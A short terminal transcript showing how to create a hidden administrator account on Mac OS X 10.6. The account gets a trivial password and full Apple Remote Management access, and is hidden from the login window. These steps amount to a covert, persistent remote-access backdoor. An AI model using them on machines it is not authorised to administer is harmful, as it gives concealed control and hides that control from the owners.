Create Hidden Admin User OS X 10.6
[Local User Name:~] user% sudo su
Password:
sh-3.2# dscl . -create /Users/hiddenadmin
sh-3.2# dscl . -create /Users/hiddenadmin RealName "Hidden Administrator"
sh-3.2# dscl . -create /Users/hiddenadmin UniqueID 499
sh-3.2# dscl . -create /Users/hiddenadmin PrimaryGroupID 20
sh-3.2# dscl . -create /Users/hiddenadmin UserShell /bin/bash
sh-3.2# dscl . -passwd /Users/hiddenadmin "password"
sh-3.2# dscl . -create /Users/hiddenadmin NFSHomeDirectory /var/hiddenadmin
sh-3.2# cp -R /System/Library/User\ Template/English.lproj /var/hiddenadmin
sh-3.2# chown -R hiddenadmin:staff /var/hiddenadmin
sh-3.2# dseditgroup -o edit -t user -a hiddenadmin admin
sh-3.2# /System/Library/CoreServices/RemoteManagement/ARDAgent.app/Contents/Resources/kickstart -activate -configure -access -on -users hiddenadmin -privs -all -restart -agent
Starting...
Activated Remote Management.
Stopped ARD Agent.
Stopped VNC Server.
Stopped RFB Register MDNS
hiddenadmin: Set user remote control privileges.
hiddenadmin: Set user remote access.
Done.
sh-3.2# defaults write /Library/Preferences/com.apple.loginwindow Hide500Users -bool TRUE
The only place the hidden user will appear is in DSCL at /Local/Default/Users